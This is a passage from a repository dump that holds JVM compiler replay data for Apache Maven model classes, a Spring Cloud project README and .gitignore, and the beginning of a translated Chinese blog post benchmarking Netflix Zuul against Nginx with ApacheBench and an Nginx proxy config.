114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 112 0 0 0 81 45 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 14 0 2 0 0 0 0 0 0 0 240 1 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 71 0x10002 0x5aa 0x40004 0x0 0x0 0x209eaca9990 0x5aa 0x0 0x0 0x130002 0x0 0x170005 0x0 0x0 0x0 0x0 0x0 0x0 0x1a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x220005 0x0 0x0 0x0 0x0 0x0 0x0 0x250005 0x0 0x0 0x0 0x0 0x0 0x0 0x280002 0x0 0x2c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2f0004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 1 5 org/apache/maven/model/Resource methods 0\nciMethodData org/apache/maven/model/Profile clone ()Lorg/apache/maven/model/Profile; 2 5631 orig 320 144 166 185 254 252 127 0 0 40 171 150 235 9 2 0 0 32 4 0 0 192 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 241 167 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 20 0 2 0 0 0 0 0 0 0 160 2 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 93 0x10002 0x14fe 0x40004 0x0 0x0 0x209f31bae60 0x14fe 0x0 0x0 0xc0007 0xb8f 0x58 0x96f 0x140005 0x0 0x0 0x209f31bb510 0x96f 0x0 0x0 0x1e0007 0x652 0x58 0xeac 0x260005 0x0 0x0 0x209f31bb5c0 0xeac 0x0 0x0 0x370002 0x0 0x3b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x3e0005 0x0 0x0 0x0 0x0 0x0 0x0 0x410005 0x0 0x0 0x0 0x0 0x0 0x0 0x460005 0x0 0x0 0x0 0x0 0x0 0x0 0x490005 0x0 0x0 0x0 0x0 0x0 0x0 0x4c0002 0x0 0x500005 0x0 0x0 0x0 0x0 0x0 0x0 0x530004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 3 5 org/apache/maven/model/Profile 16 org/apache/maven/model/Activation 27 org/apache/maven/model/BuildBase methods 0\nciMethodData org/apache/maven/model/Activation clone ()Lorg/apache/maven/model/Activation; 2 2610 orig 320 144 166 185 254 252 127 0 0 80 176 153 235 9 2 0 0 176 4 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 195 0 0 0 121 75 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 26 0 2 0 0 0 0 0 0 0 40 3 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 111 0x10002 0x96f 0x40004 0x0 0x0 0x209f31bb510 0x96f 0x0 0x0 0xc0007 0x957 0x58 0x18 0x140005 0x0 0x0 0x209e95baf10 0x18 0x0 0x0 0x1e0007 0x2e8 0x58 0x687 0x260005 0x0 0x0 0x209e95bb4e0 0x687 0x0 0x0 0x300007 0x7f2 0x58 0x17d 0x380005 0x0 0x0 0x209e95bba50 0x17d 0x0 0x0 0x420007 0x96f 0x30 0x0 0x4e0002 0x0 0x5f0002 0x0 0x630005 0x0 0x0 0x0 0x0 0x0 0x0 0x660005 0x0 0x0 0x0 0x0 0x0 0x0 0x690005 0x0 0x0 0x0 0x0 0x0 0x0 0x6e0005 0x0 0x0 0x0 0x0 0x0 0x0 0x710005 0x0 0x0 0x0 0x0 0x0 0x0 0x740002 0x0 0x780005 0x0 0x0 0x0 0x0 0x0 0x0 0x7b0004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 4 5 org/apache/maven/model/Activation 16 org/apache/maven/model/ActivationOS 27 org/apache/maven/model/ActivationProperty 38 org/apache/maven/model/ActivationFile methods 0\nciMethodData org/apache/maven/model/FileSet clone ()Lorg/apache/maven/model/FileSet; 2 1562 orig 320 144 166 185 254 252 127 0 0 104 6 192 235 9 2 0 0 112 3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 240 0 0 0 81 41 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 14 0 2 0 0 0 0 0 0 0 240 1 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 71 0x10002 0x52a 0x40004 0x0 0x0 0x209eaca9990 0x52a 0x0 0x0 0x130002 0x0 0x170005 0x0 0x0 0x0 0x0 0x0 0x0 0x1a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x1d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x220005 0x0 0x0 0x0 0x0 0x0 0x0 0x250005 0x0 0x0 0x0 0x0 0x0 0x0 0x280002 0x0 0x2c0005 0x0 0x0 0x0 0x0 0x0 0x0 0x2f0004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 1 5 org/apache/maven/model/Resource methods 0\nciMethodData org/apache/maven/model/PatternSet clone ()Lorg/apache/maven/model/PatternSet; 2 1562 orig 320 144 166 185 254 252 127 0 0 248 243 191 235 9 2 0 0 120 4 0 0 56 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 209 40 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 23 0 2 0 0 0 0 0 0 0 240 2 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 104 0x10002 0x51a 0x40004 0x0 0x0 0x209eaca9990 0x51a 0x0 0x0 0xc0007 0x4d6 0x68 0x44 0x140002 0x44 0x220005 0x0 0x0 0x209f05afbc0 0x44 0x0 0x0 0x2c0007 0x509 0x68 0x11 0x340002 0x11 0x420005 0x0 0x0 0x209f05afbc0 0x11 0x0 0x0 0x4c0007 0x90 0x30 0x48a 0x580002 0x48a 0x690002 0x0 0x6d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x700005 0x0 0x0 0x0 0x0 0x0 0x0 0x730005 0x0 0x0 0x0 0x0 0x0 0x0 0x780005 0x0 0x0 0x0 0x0 0x0 0x0 0x7b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x7e0002 0x0 0x820005 0x0 0x0 0x0 0x0 0x0 0x0 0x850004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 3 5 org/apache/maven/model/Resource 18 java/util/ArrayList 31 java/util/ArrayList methods 0\nciMethodData org/apache/maven/model/merge/ModelMerger$MergingList iterator ()Ljava/util/Iterator; 2 2737 orig 320 144 166 185 254 252 127 0 0 240 52 218 235 9 2 0 0 72 2 0 0 88 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0 0 129 77 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 5 0 2 0 0 0 0 0 0 0 200 0 0 0 254 255 255 255 7 0 4 0 0 0 0 0 data 34 0x40007 0x0 0x90 0x9b0 0xb0005 0x0 0x0 0x209f05aef10 0x9b0 0x0 0x0 0x100005 0x0 0x0 0x209f36e5440 0x9b0 0x0 0x0 0x1a0005 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 2 7 java/util/LinkedHashMap 14 java/util/LinkedHashMap$LinkedValues methods 0\nciMethodData org/apache/maven/model/ActivationProperty clone ()Lorg/apache/maven/model/ActivationProperty; 2 1827 orig 320 144 166 185 254 252 127 0 0 240 156 153 235 9 2 0 0 160 3 0 0 104 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 25 49 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 17 0 2 0 0 0 0 0 0 0 32 2 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 77 0x10002 0x623 0x40004 0x0 0x0 0x209e95bb4e0 0x623 0x0 0x0 0xc0007 0x623 0x30 0x0 0x180002 0x0 0x290002 0x0 0x2d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x300005 0x0 0x0 0x0 0x0 0x0 0x0 0x330005 0x0 0x0 0x0 0x0 0x0 0x0 0x380005 0x0 0x0 0x0 0x0 0x0 0x0 0x3b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x3e0002 0x0 0x420005 0x0 0x0 0x0 0x0 0x0 0x0 0x450004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 1 5 org/apache/maven/model/ActivationProperty methods 0\nciMethodData org/apache/maven/model/ActivationFile clone ()Lorg/apache/maven/model/ActivationFile; 1 420 orig 320 144 166 185 254 252 127 0 0 248 197 153 235 9 2 0 0 160 3 0 0 104 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 39 0 0 0 233 11 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 17 0 2 0 0 0 0 0 0 0 32 2 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 77 0x10002 0x17d 0x40004 0x0 0x0 0x209e95bba50 0x17d 0x0 0x0 0xc0007 0x17d 0x30 0x0 0x180002 0x0 0x290002 0x0 0x2d0005 0x0 0x0 0x0 0x0 0x0 0x0 0x300005 0x0 0x0 0x0 0x0 0x0 0x0 0x330005 0x0 0x0 0x0 0x0 0x0 0x0 0x380005 0x0 0x0 0x0 0x0 0x0 0x0 0x3b0005 0x0 0x0 0x0 0x0 0x0 0x0 0x3e0002 0x0 0x420005 0x0 0x0 0x0 0x0 0x0 0x0 0x450004 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x0 0x9 0x1 0x0 oops 1 5 org/apache/maven/model/ActivationFile methods 0\ncompile org/apache/maven/model/Profile clone ()Lorg/apache/maven/model/Profile; -1 4 inline 97 0 -1 org/apache/maven/model/Profile clone ()Lorg/apache/maven/model/Profile; 1 20 org/apache/maven/model/Activation clone ()Lorg/apache/maven/model/Activation; 2 38 org/apache/maven/model/ActivationProperty clone ()Lorg/apache/maven/model/ActivationProperty; 2 56 org/apache/maven/model/ActivationFile clone ()Lorg/apache/maven/model/ActivationFile; 1 38 org/apache/maven/model/BuildBase clone ()Lorg/apache/maven/model/BuildBase; 2 1 org/apache/maven/model/PluginConfiguration clone ()Lorg/apache/maven/model/PluginConfiguration; 3 20 org/apache/maven/model/PluginManagement clone ()Lorg/apache/maven/model/PluginManagement; 2 20 java/util/ArrayList <init> ()V 3 1 java/util/AbstractList <init> ()V 4 1 java/util/AbstractCollection <init> ()V 5 1 java/lang/Object <init> ()V 2 30 java/util/ArrayList iterator ()Ljava/util/Iterator; 3 5 java/util/ArrayList$Itr <init> (Ljava/util/ArrayList;)V 4 6 java/lang/Object <init> ()V 2 30 org/apache/maven/model/merge/ModelMerger$MergingList iterator ()Ljava/util/Iterator; 3 11 java/util/LinkedHashMap values ()Ljava/util/Collection; 4 14 java/util/LinkedHashMap$LinkedValues <init> (Ljava/util/LinkedHashMap;)V 5 6 java/util/AbstractCollection <init> ()V 6 1 java/lang/Object <init> ()V 3 16 java/util/LinkedHashMap$LinkedValues iterator ()Ljava/util/Iterator; 4 8 java/util/LinkedHashMap$LinkedValueIterator <init> (Ljava/util/LinkedHashMap;)V 5 7 java/util/LinkedHashMap$LinkedHashIterator <init> (Ljava/util/LinkedHashMap;)V 6 6 java/lang/Object <init> ()V 2 37 java/util/ArrayList$Itr hasNext ()Z 2 37 java/util/LinkedHashMap$LinkedHashIterator hasNext ()Z 2 46 java/util/ArrayList$Itr next ()Ljava/lang/Object; 3 1 java/util/ArrayList$Itr checkForComodification ()V 2 46 java/util/LinkedHashMap$LinkedValueIterator next ()Ljava/lang/Object; 3 1 java/util/LinkedHashMap$LinkedHashIterator nextNode ()Ljava/util/LinkedHashMap$Entry; 2 60 org/apache/maven/model/Resource clone ()Lorg/apache/maven/model/Resource; 3 1 org/apache/maven/model/FileSet clone ()Lorg/apache/maven/model/FileSet; 4 1 org/apache/maven/model/PatternSet clone ()Lorg/apache/maven/model/PatternSet; 5 20 java/util/ArrayList <init> ()V 6 1 java/util/AbstractList <init> ()V 7 1 java/util/AbstractCollection <init> ()V 8 1 java/lang/Object <init> ()V 5 52 java/util/ArrayList <init> ()V 6 1 java/util/AbstractList <init> ()V 7 1 java/util/AbstractCollection <init> ()V 8 1 java/lang/Object <init> ()V 5 88 java/util/LinkedHashMap <init> (Ljava/util/Map;)V 6 1 java/util/HashMap <init> ()V 7 1 java/util/AbstractMap <init> ()V 8 1 java/lang/Object <init> ()V 2 63 java/util/ArrayList add (Ljava/lang/Object;)Z 3 20 java/util/ArrayList add (Ljava/lang/Object;[Ljava/lang/Object;I)V 4 7 java/util/ArrayList grow ()[Ljava/lang/Object; 5 7 java/util/ArrayList grow (I)[Ljava/lang/Object; 6 7 java/util/ArrayList newCapacity (I)I 6 10 java/util/Arrays copyOf ([Ljava/lang/Object;I)[Ljava/lang/Object; 2 84 java/util/ArrayList <init> ()V 3 1 java/util/AbstractList <init> ()V 4 1 java/util/AbstractCollection <init> ()V 5 1 java/lang/Object <init> ()V 2 94 java/util/ArrayList iterator ()Ljava/util/Iterator; 3 5 java/util/ArrayList$Itr <init> (Ljava/util/ArrayList;)V 4 6 java/lang/Object <init> ()V 2 94 org/apache/maven/model/merge/ModelMerger$MergingList iterator ()Ljava/util/Iterator; 3 11 java/util/LinkedHashMap values ()Ljava/util/Collection; 4 14 java/util/LinkedHashMap$LinkedValues <init> (Ljava/util/LinkedHashMap;)V 5 6 java/util/AbstractCollection <init> ()V 6 1 java/lang/Object <init> ()V 3 16 java/util/LinkedHashMap$LinkedValues iterator ()Ljava/util/Iterator; 4 8 java/util/LinkedHashMap$LinkedValueIterator <init> (Ljava/util/LinkedHashMap;)V 5 7 java/util/LinkedHashMap$LinkedHashIterator <init> (Ljava/util/LinkedHashMap;)V 6 6 java/lang/Object <init> ()V 2 101 java/util/ArrayList$Itr hasNext ()Z 2 101 java/util/LinkedHashMap$LinkedHashIterator hasNext ()Z 2 110 java/util/ArrayList$Itr next ()Ljava/lang/Object; 3 1 java/util/ArrayList$Itr checkForComodification ()V 2 110 java/util/LinkedHashMap$LinkedValueIterator next ()Ljava/lang/Object; 3 1 java/util/LinkedHashMap$LinkedHashIterator nextNode ()Ljava/util/LinkedHashMap$Entry; 2 124 org/apache/maven/model/Resource clone ()Lorg/apache/maven/model/Resource; 3 1 org/apache/maven/model/FileSet clone ()Lorg/apache/maven/model/FileSet; 4 1 org/apache/maven/model/PatternSet clone ()Lorg/apache/maven/model/PatternSet; 5 20 java/util/ArrayList <init> ()V 6 1 java/util/AbstractList <init> ()V 7 1 java/util/AbstractCollection <init> ()V 8 1 java/lang/Object <init> ()V 5 52 java/util/ArrayList <init> ()V 6 1 java/util/AbstractList <init> ()V 7 1 java/util/AbstractCollection <init> ()V 8 1 java/lang/Object <init> ()V 5 88 java/util/LinkedHashMap <init> (Ljava/util/Map;)V 6 1 java/util/HashMap <init> ()V 7 1 java/util/AbstractMap <init> ()V 8 1 java/lang/Object <init> ()V 2 127 java/util/ArrayList add (Ljava/lang/Object;)Z 3 20 java/util/ArrayList add (Ljava/lang/Object;[Ljava/lang/Object;I)V 4 7 java/util/ArrayList grow ()[Ljava/lang/Object; 5 7 java/util/ArrayList grow (I)[Ljava/lang/Object; 6 7 java/util/ArrayList newCapacity (I)I 6 10 java/util/Arrays copyOf ([Ljava/lang/Object;I)[Ljava/lang/Object; 2 148 java/util/ArrayList <init> ()V 3 1 java/util/AbstractList <init> ()V 4 1 java/util/AbstractCollection <init> ()V 5 1 java/lang/Object <init> ()V\n"
  },
  {
    "path": "jun_springcloud_plugin/.gitignore",
    "content": "*.class\n\n# Package Files #\n*.jar\n*.war\n*.ear\n\n# idea Files\n.idea\n*.iml\ntarget\n\n# log Files\n*.log\n\n2-Dalston版教程示例/trace-2/build/bootstrap.json\n2-Dalston版教程示例/trace-2/build/springAppName_IS_UNDEFINED.json\n2-Dalston版教程示例/trace-2/build/trace-2.json\n"
  },
  {
    "path": "jun_springcloud_plugin/.keep",
    "content": ""
  },
  {
    "path": "jun_springcloud_plugin/README.md",
    "content": "### `jun_plugin` 项目  \n\n### 项目说明\njun_plugin 整合Java企业级各种开发组件、开箱即用、不写重复代码，包含基础Java基础开发组件，Spring企业家开发组，SpringBoot开发组件、SpringCloud开发组件\n\n### 功能清单\n\n5. SpringCloud常用开发组件：**springcloud_plugin**，含netflix、alibaba、dubbo等，主要为示例与文档。\n\n\n#### 基础篇：企业级开发组件(开发组件、代码生成、前端组件) [jun_java_plugin]\n\n\n> SpringCloud系开发框架组件，基于SpringCloud微服务开发组件，新企业级REST服务\n\n【springboot_actuator】[SpringBoot微服务项目模板,SpringBoot微服务项目模板](https://github.com/wujun728/jun_java_plugin/tree/master/spring_plugin/maven_springboot_permission_example\\)  \n【springboot_admin】[SpringBoot微服务项目模板,SpringBoot微服务项目模板](https://github.com/wujun728/jun_java_plugin/tree/master/spring_plugin/maven_springboot_permission_example\\)  \n【springboot_async】[SpringBoot微服务项目模板,SpringBoot微服务项目模板](https://github.com/wujun728/jun_java_plugin/tree/master/spring_plugin/maven_springboot_permission_example\\)    \n\n\n#### 工程截图(组件较多，随意择选了几个)\n\n<table>\n    <tr>\n\t\t<td><img src=\"\"/>\n\t\t<td><img src=\"\"/>\n    </tr>\n</table>\n\n\n\n#### 开发环境\n- **JDK 1.8 \n- **Maven 3.5 \n- **IDEA 2018.2 + or  STS 4.5 +** (*注意：安装lombok插件）\n\n\n​\t\n"
  },
  {
    "path": "jun_springcloud_plugin/doc/Netflix Zuul与Nginx的性能对比.md",
    "content": "# Netflix Zuul与Nginx的性能对比\n\n**原创**\n\n [2017-04-03](https://blog.didispace.com/zuul-vs-nginx-performance/)\n\n 翟永超\n\n [Spring Cloud](https://blog.didispace.com/categories/Spring-Cloud/)\n\n[【推荐】从业15年的架构师告诉你：如何落地微服务和云原生架构？](https://blog.didispace.com/how-to-implement-microservice-and-cloud-native-architecture/)\n\n> 这是一篇翻译，关于大家经常质疑的一个问题：API网关Zuul的性能。\n> 原文：[NETFLIX ZUUL VS NGINX PERFORMANCE](http://instea.sk/2015/04/netflix-zuul-vs-nginx-performance/)\n> 作者：[STANISLAV MIKLIK](http://instea.sk/author/miklik/)\n\n如今你可以听到很多关于“微服务”的信息。Spring Boot是一个用来构建单个微服务应用的理想选择，但是你还需要以某种方式将它们互相联系起来。这就是Spring Cloud试图解决的问题，尤其是Spring Cloud Netflix。它提供了各种组件，比如：Eureka服务发现与Ribbon客户端负载均衡的结合，为内部“微服务”提供通信支持。但是，如果你想要与外界通信时（你提供外部API，或只是从你的页面使用AJAX），将各种服务隐藏在一个代理之后是一个明智的选择。\n\n常规的选择我们会使用Nginx作为代理。但是Netflix带来了它自己的解决方案——智能路由Zuul。它带有许多有趣的功能，它可以用于身份验证、服务迁移、分级卸载以及各种动态路由选项。同时，它是使用Java编写的。如果Netflix使用它，那么它与本地反向代理相比是否足够快呢？或者当我们对灵活性（或其他功能）要求更高时，它是否适合与Nginx联合使用。\n\n免责声明：不要认为这是一个严肃的基准。我只是想感受Nginx和Zuul的差异，因为我在互联网上并没有找到任何基准（也可能是我没有搜索足够长的时间）。它不遵循任何推荐的基准测试方法（预热时间、测试次数……），我只是使用3个在不同可用区域的EC2实例（这不是最佳的）。\n\n## 测试\n\n那我做了什么呢？测试是比较两种解决方案的原始性能，没有任何其他特殊的功能。我只是同时发起单个HTTP请求来获取一个HTML页面（大小约为26KB）。我使用ApacheBench来发起200个并发线程的测试（我也尝试了httpperf，但是它需要更高的CPU要求，所以还是选择了要求更低的ab）。\n\n#### 直接连接\n\n首先，我感兴趣的是不通过任何反向代理直接访问HTTP服务器的性能。Ab在一台机器上运行，直接访问目标服务器。\n\n```\n$ ab -n 10000 -c 200 http://target/sample.html\n\n....\n\nDocument Path: /sample.html\nDocument Length: 26650 bytes\n\nTotal transferred: 268940000 bytes\nHTML transferred: 266500000 bytes\nRequests per second: 2928.45 [#/sec] (mean)\nTime per request: 68.295 [ms] (mean)\nTime per request: 0.341 [ms] (mean, across all concurrent requests)\nTransfer rate: 76911.96 [Kbytes/sec] received\n\nConnection Times (ms)\n min mean[+/-sd] median max\nConnect: 4 33 6.0 32 66\nProcessing: 20 35 7.5 35 392\nWaiting: 20 35 6.4 34 266\nTotal: 24 68 7.8 66 423\n\nPercentage of the requests served within a certain time (ms)\n 50% 66\n 66% 67\n 75% 69\n 80% 70\n 90% 74\n 95% 81\n 98% 91\n 99% 92\n 100% 423 (longest request)\n```\n\n很好，几次测试都显示了类似的值：2928、2725、2834、2648 req/s。有一些偏差，但这些数字现在还不重要。\n\n#### 通过Nginx\n\n现在我可以使用Nginx的代理服务。只需要将Nginx配置更新为代理到目标服务器，比如：\n\n```\nserver {\n   listen 80 default_server;\n   listen [::]:80 default_server ipv6only=on;\n\n   # Make site accessible from http://localhost/\n   server_name localhost;\n\n   # allow file upload\n   client_max_body_size 10M;\n\n   location / {\n      proxy_set_header X-Real-IP $remote_addr;\n      proxy_set_header X-Forwarded-For $remote_addr;\n      proxy_set_header Host $host;\n      proxy_pass http://target:80;\n   }\n}\n```\n\n像之前一样运行类型的测试：\n\n```\n$ ab -n 50000 -c 200 http://proxy/sample.html\n...\nServer Software: nginx/1.4.6\nServer Hostname: proxy\nServer Port: 80\n\nDocument Path: /sample.html\nDocument Length: 26650 bytes\n\nConcurrency Level: 200\nTime taken for tests: 52.366 seconds\nComplete requests: 50000\nFailed requests: 0\nTotal transferred: 1344700000 bytes\nHTML transferred: 1332500000 bytes\nRequests per second: 954.81 [#/sec] (mean)\nTime per request: 209.465 [ms] (mean)\nTime per request: 1.047 [ms] (mean, across all concurrent requests)\nTransfer rate: 25076.93 [Kbytes/sec] received\n\nConnection Times (ms)\n min mean[+/-sd] median max\nConnect: 3 50 11.7 48 114\nProcessing: 37 159 11.9 160 208\nWaiting: 36 159 11.9 160 207\nTotal: 40 209 10.4 209 256\n\nPercentage of the requests served within a certain time (ms)\n 50% 209\n 66% 212\n 75% 214\n 80% 216\n 90% 220\n 95% 224\n 98% 232\n 99% 238\n 100% 256 (longest request)\n```\n\n测试结果为954、954、941 req/s。性能与延迟（如预期）变差了。\n\n#### 通过Zuul\n\n现在我们在同一台机器上安装Zuul。它的应用本身很简单：\n\n```\n@SpringBootApplication\n@Controller\n@EnableZuulProxy\npublic class DemoApplication {\n    public static void 